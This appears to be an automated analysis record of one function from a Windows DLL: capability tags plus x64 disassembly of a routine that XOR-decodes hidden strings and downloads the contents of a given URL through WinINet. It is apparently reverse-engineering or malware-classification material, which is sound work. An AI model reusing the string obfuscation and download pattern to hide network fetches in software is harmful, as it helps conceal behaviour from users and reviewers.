Function at 0x180035d70
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x390]
sub rsp, 0x490
mov rax, qword [0x1801ab040]
xor rax, rsp
mov qword [rbp + 0x380], rax
mov rbx, rdx
mov rsi, rcx
mov qword [rsp + 0x70], rcx
xor r13d, r13d
mov dword [rsp + 0x30], 0x1c081f3e
mov dword [rsp + 0x34], 0x17163142
mov dword [rsp + 0x38], 0x100001d
mov ecx, r13d
nop dword [rax]
lea eax, [rcx + 0x6b]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xa
jb 0x180035dd0
mov byte [rsp + 0x3b], r13b
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [rsp + 0x30]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
jne 0x180035e7b
movdqa xmm0, xmmword [0x180194230]
movdqu xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x1801943a0]
movdqu xmmword [rsp + 0x58], xmm1
mov dword [rsp + 0x68], 0x100f0fa
mov rcx, r13
nop
lea eax, [rcx - 0x48]
xor byte [rsp + rcx + 0x48], al
inc rcx
cmp rcx, 0x22
jb 0x180035e30
mov byte [rsp + 0x6b], r13b
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], r13
lea rax, [rsp + 0x48]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], r13b
jne 0x180035e60
lea rdx, [rsp + 0x48]
mov rcx, rsi
call fcn.18000eea0
jmp 0x180036036
cmp qword [rbx + 0x18], 0xf
jbe 0x180035e85
mov rbx, qword [rbx]
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r15, rax
test rax, rax
jne 0x180035f2b
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movdqa xmm0, xmmword [0x180194230]
movdqu xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x1801943a0]
movdqu xmmword [rsp + 0x58], xmm1
mov dword [rsp + 0x68], 0x100f0fa
mov rcx, r13
nop dword [rax]
lea eax, [rcx - 0x48]
xor byte [rsp + rcx + 0x48], al
inc rcx
cmp rcx, 0x22
jb 0x180035ee0
mov byte [rsp + 0x6b], r13b
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], r13
lea rax, [rsp + 0x48]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], r13b
jne 0x180035f10
lea rdx, [rsp + 0x48]
mov rcx, rsi
call fcn.18000eea0
jmp 0x180036036
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov rbx, r13
mov qword [rsp + 0x58], rbx
mov r14d, 0xf
mov qword [rsp + 0x60], r14
mov byte [rsp + 0x48], bl
lea r9, [rsp + 0x70]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x180035ff6
nop word [rax + rax]
mov eax, dword [rsp + 0x70]
test eax, eax
je 0x180035ff6
mov edi, eax
mov rax, r14
sub rax, rbx
cmp rdi, rax
ja 0x180035fb5
lea rax, [rbx + rdi]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x48]
cmp r14, 0xf
cmova rax, qword [rsp + 0x48]
add rbx, rax
mov r8d, edi
lea rdx, [rbp - 0x80]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x180035fcb
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x80]
mov rdx, rdi
lea rcx, [rsp + 0x48]
call fcn.18000ecf0
lea r9, [rsp + 0x70]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x180035ff6
mov r14, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x58]
jmp 0x180035f70
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rsi + 0x10], xmm1
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
lea rcx, [rsp + 0x48]
call fcn.18000e640
mov rax, rsi
mov rcx, qword [rbp + 0x380]
xor rcx, rsp
call fcn.1800cac00
mov rbx, qword [rsp + 0x4e0]
add rsp, 0x490
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret